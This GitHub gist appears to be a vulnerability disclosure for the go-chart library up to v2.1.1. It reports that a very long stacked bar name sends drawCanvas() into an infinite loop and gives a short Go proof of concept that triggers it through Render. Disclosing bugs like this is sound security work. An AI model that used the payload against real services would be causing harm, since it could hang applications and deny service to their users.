Skip to content

Instantly share code, notes, and snippets.

@F3iG0n9
Last active July 23, 2024 11:20
Show Gist options
  • Save F3iG0n9/4d0d7c863eea6874eeeb26a3073aa5f8 to your computer and use it in GitHub Desktop.
Save F3iG0n9/4d0d7c863eea6874eeeb26a3073aa5f8 to your computer and use it in GitHub Desktop.
go-chart infinite loop
[Description]
go-chart v2.1.1 was discovered to contain an infinite loop via the drawCanvas() function.
When using the stacked bar chart component of go chart, if the name of the stacked bar is too long, it will cause the program to fail to run properly, which is reflected in the infinite loop when executing drawCanvas() during rendering.
[Affected Product Code Base]
go-chart - <=2.1.1
[Attack Vectors]
poc := chart.StackedBarChart{
Title: "poc",
Bars: []chart.StackedBar{
{
Name: "11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111",
Values: []chart.Value{
{Value: 1, Label: "infinite"},
{Value: 1, Label: "loop"},
},
},
},
}
var imgContent bytes.Buffer
poc.Render(chart.PNG, &imgContent)
[Reference]
http://go-chart.com
https://github.com/wcharczuk/go-chart
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment